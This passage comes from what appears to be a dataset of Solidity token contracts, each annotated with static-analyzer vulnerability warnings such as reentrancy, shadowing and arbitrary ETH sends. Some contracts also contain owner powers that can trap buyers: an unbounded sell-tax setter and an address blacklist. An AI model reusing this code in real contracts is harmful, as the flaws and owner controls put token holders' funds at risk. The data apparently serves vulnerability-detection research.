_balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a143a0): MISTA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a143a0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7392fb2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7392fb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9416f71): MISTA.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9416f71: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a68b426): MISTA.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a68b426: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0d726b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0d726b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 7392fb2\n\t\t// reentrancy-eth | ID: 0d726b7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7392fb2\n\t\t// unused-return | ID: a68b426\n\t\t// reentrancy-eth | ID: 0d726b7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7392fb2\n\t\t// unused-return | ID: 9416f71\n\t\t// reentrancy-eth | ID: 0d726b7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7392fb2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0d726b7\n tradingOpen = true;\n }\n\n function deactivateMaxWalletLimit() external onlyOwner {\n _isMaxWalletActive = false;\n }\n\n function activateMaxWalletLimit() external onlyOwner {\n _isMaxWalletActive = true;\n }\n\n function isMaxWalletLimitActive() external view returns (bool) {\n return _isMaxWalletActive;\n }\n\n function excludeFromMaxWallet(address account) external onlyOwner {\n _isExcludedFromMaxWallet[account] = true;\n }\n}\n",
"file_name": "solidity_code_10582.sol",
"size_bytes": 12115,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract FairCoinToken is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4493c1c): FairCoinToken._totalSupply should be constant \n\t// Recommendation for 4493c1c: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 0f18fdf): FairCoinToken._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for 0f18fdf: Remove the state variable shadowing.\n uint256 private _totalSupply = 1300000000 * 10 ** 18;\n\n constructor() ERC20(\"Fair Coin\", \"FAIRC\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_10583.sol",
"size_bytes": 6794,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7e793fc): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 7e793fc: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 7e793fc\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Tweet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec0f014): Tweet._taxWallet should be immutable \n\t// Recommendation for ec0f014: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2bb6a8): Tweet._initialBuyTax should be constant \n\t// Recommendation for b2bb6a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2d3bd5): Tweet._initialSellTax should be constant \n\t// Recommendation for d2d3bd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ca6beb): Tweet._finalBuyTax should be constant \n\t// Recommendation for 0ca6beb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b1dbbc): Tweet._reduceBuyTaxAt should be constant \n\t// Recommendation for 3b1dbbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fb900d): Tweet._reduceSellTaxAt should be constant \n\t// Recommendation for 0fb900d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba67850): Tweet._preventSwapBefore should be constant \n\t// Recommendation for ba67850: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: bd76a9f): Tweet._taxSwapThreshold should be constant \n\t// Recommendation for bd76a9f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 64dc700): Tweet._maxTaxSwap should be constant \n\t// Recommendation for 64dc700: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6b72f2): Tweet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6b72f2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9140af8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9140af8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 70460a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 70460a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9140af8\n\t\t// reentrancy-benign | ID: 70460a0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9140af8\n\t\t// reentrancy-benign | ID: 70460a0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a0b046): Tweet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a0b046: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 70460a0\n\t\t// reentrancy-benign | ID: e12f3e3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9140af8\n\t\t// reentrancy-events | ID: 0dbb483\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: abbef09): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for abbef09: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0d6d751): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0d6d751: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: abbef09\n\t\t\t\t// reentrancy-eth | ID: 0d6d751\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: abbef09\n\t\t\t\t\t// reentrancy-eth | ID: 0d6d751\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0d6d751\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0d6d751\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0d6d751\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: abbef09\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0d6d751\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0d6d751\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: abbef09\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9140af8\n\t\t// reentrancy-events | ID: abbef09\n\t\t// reentrancy-events | ID: 0dbb483\n\t\t// reentrancy-benign | ID: 70460a0\n\t\t// reentrancy-benign | ID: e12f3e3\n\t\t// reentrancy-eth | ID: c30bd77\n\t\t// reentrancy-eth | ID: a4dd79d\n\t\t// reentrancy-eth | ID: 0d6d751\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d5e8e60): Tweet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d5e8e60: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9140af8\n\t\t// reentrancy-events | ID: abbef09\n\t\t// reentrancy-events | ID: 0dbb483\n\t\t// reentrancy-eth | ID: c30bd77\n\t\t// reentrancy-eth | ID: a4dd79d\n\t\t// reentrancy-eth | ID: 0d6d751\n\t\t// arbitrary-send-eth | ID: d5e8e60\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0dbb483): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0dbb483: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e12f3e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e12f3e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bfab178): Tweet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bfab178: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7c68ea8): Tweet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7c68ea8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c30bd77): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c30bd77: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a4dd79d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a4dd79d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 0dbb483\n\t\t// reentrancy-benign | ID: e12f3e3\n\t\t// reentrancy-eth | ID: c30bd77\n\t\t// reentrancy-eth | ID: a4dd79d\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 0dbb483\n\t\t// reentrancy-benign | ID: e12f3e3\n\t\t// reentrancy-eth | ID: c30bd77\n\t\t// reentrancy-eth | ID: a4dd79d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 0dbb483\n\t\t// reentrancy-benign | ID: e12f3e3\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 7c68ea8\n\t\t// reentrancy-eth | ID: c30bd77\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: bfab178\n\t\t// reentrancy-eth | ID: c30bd77\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: c30bd77\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c30bd77\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fa58458): Tweet.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for fa58458: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: fa58458\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10584.sol",
"size_bytes": 21628,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n}\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3e7d278): Contract locking ether found Contract MYSTERY has payable functions MYSTERY.receive() But does not have a function to withdraw the ether\n// Recommendation for 3e7d278: Remove the 'payable' attribute or add a withdraw function.\ncontract MYSTERY is Context, IERC20, Ownable {\n string private constant _name = unicode\"Mystery\";\n\n string private constant _symbol = unicode\"MYSTERY\";\n\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: efd2c5e): MYSTERY._isExcludedFromFee is never 